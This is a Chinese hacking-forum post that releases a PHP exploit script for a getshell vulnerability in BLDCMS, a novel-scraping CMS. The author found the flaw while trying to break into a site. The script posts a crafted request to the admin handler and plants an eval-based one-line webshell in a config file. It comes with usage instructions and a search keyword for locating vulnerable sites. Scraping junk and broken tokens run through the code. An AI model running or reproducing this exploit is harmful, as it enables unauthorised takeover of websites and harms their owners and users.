之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
9 V+ U p6 p2 ^2 d* t2 U# F v* M" _ N) W+ [1 x8 n7 J/ N
* m3 m- l7 m U& }* {% s
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
( \9 F; q9 u5 ~/ \' k, P. ~
1 x0 V; I3 `% j0 q* ]既然都有人发了 我就把我之前写好的EXP放出来吧
" n& `, _* {: Y) H
5 z! Z- o5 s2 \$ Yview source print?01.php;">
9 c: X* \) ~1 I* H02.<!--?php6 l! H/ b* A; [5 X t& ]% l
03.echo "-------------------------------------------------------------------, N$ Q! ?8 A6 A4 B( @) b9 i ]
04.
; G. U* ]; X3 \6 R; e05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP1 ^6 ?& k7 a; J4 i7 w+ \* Z
06.
, h8 |% ~) f7 l' [4 G- U' [2 E1 ?6 T07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
2 C O" j9 D* X P& C$ J08.
; N* @% w4 o, j0 ^09.QQ:981009941\r\n 2013.3.21\r\n
- @) ~# H1 I9 x) ~, U10. $ g# ^4 f6 W$ P6 v9 K
11.
1 Z' L6 s* @- Z% N, Z2 {12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
5 D8 `5 B! S+ r! G, A: u' [13.
4 \0 [- K% Z! r: I5 V$ t3 {8 D14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
) }7 E( {0 P v15. ' m" e- f3 o! F. s$ ]$ m
16.--------------------------------------------------------------------\r\n";
( P& V: I: I3 D3 G/ o/ ?+ z17.$url=$argv[1];& x8 ^/ s! @! B7 o6 e9 R
18.$dir=$argv[2];
0 O" O8 d3 A$ P: L0 `+ t5 |9 y, E19.$pass=$argv[3];
! {+ j4 `) V* x/ f7 [0 x20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
8 r" p# h8 h: L- ~4 e5 U; B21.if (emptyempty($pass)||emptyempty($url))# r( l6 y: g% e8 c1 {1 _+ \& o% d
22.{exit("请输入参数");}
0 p- d" t9 X7 g6 i$ D: T23.else
3 U$ Y, z# T# r24.{
6 f5 L! x3 C3 W* l, M1 p9 J25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
8 [3 B' d% S/ {' B% y) L26. 9 D* p% s0 a/ X+ A8 y
27.al;& E: q" e6 @7 {+ ~ `
28.$length = strlen($fuckdata);
6 s: Z: t! J/ c# ^29.function getshell($url,$pass)9 t' O7 S( ?' T* K" z
30.{
$ W$ R3 N% }) j* ?; l9 p31.global $url,$dir,$pass,$eval,$length,$fuckdata;1 C) W; o u: X7 z5 a
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
" T6 M% _, g9 h, x- w33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
+ t- k' Z8 q, q7 h! ]! y! \# R$ M/ M34.$header .= "User-Agent: MSIE\r\n";% L6 l3 S' |( W' u
35.$header .= "Host:".$url."\r\n";
' ^3 r0 m. @ r2 A36.$header .= "Content-Length: ".$length."\r\n";' u/ j/ {2 H/ K- m B1 ]
37.$header .= "Connection: Close\r\n";
% S! E- a' s! i38.$header .="\r\n";
8 J. O9 h: ]) e4 l39.$header .= $fuckdata."\r\n\r\n";/ H: h, V, F- K
40.$fp = fsockopen($url, 80,$errno,$errstr,15);# b8 P$ c+ [/ _- K6 w! h ]
41.if (!$fp)0 k8 A" M& {! @# @$ V2 j8 d
42.{0 r3 N& Y/ v Z* x% a* S
43.exit ("利用失败:请检查指定目标是否能正常打开");
5 ]: @3 j! {5 T44.}
! N: X) t4 m9 S, ]4 b+ }1 a45.else{ if (!fputs($fp,$header))4 ?: x: d8 Y. _1 R( V# D9 _
46.{exit ("利用失败");}1 D: X+ E) b5 I; |" u" @
47.else8 Z" h' i- h! |& F( _* @! f4 F& \
48.{. y& U$ s* m$ v5 G1 {0 B
49.$receive = '';' o" `2 K2 i9 g; g" z( M3 M5 C/ s
50.while (!feof($fp)) {
; p7 m- B: f" x+ `( T+ C8 a' u51.$receive .= @fgets($fp, 1000);" Q# u$ W8 s& E$ X
52.}
( X; v( S; }3 x7 O1 G53.@fclose($fp);
7 A1 T' Y6 L0 K" ^4 o8 z; } E54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
8 j( T$ C% q2 I5 x+ ^9 l: ]& A55. ' _2 X: J3 [; h. j7 c3 d
56.GPC是否=off)";" a% l Z! ~& x0 w( [" f0 m
57.}}
& O/ L! @1 Z: j% R4 ?% }8 ~6 I- n58.}
9 L% N0 E3 T; Q& U59.}
* f& E, o' [' g" G. ~. }( z60.getshell($url,$pass);
* K/ B* r0 o% z$ N& L- a+ `; J" }) P61.?-->. f/ u+ E" a7 [/ x+ t+ V$ V
4 d5 B, D2 s% X9 V- `
" i! ?9 k! g5 K2 u" D
4 m9 j4 s# Y6 N! @2 Xby 数据流
9 p) C% |+ l& }5 w# [ |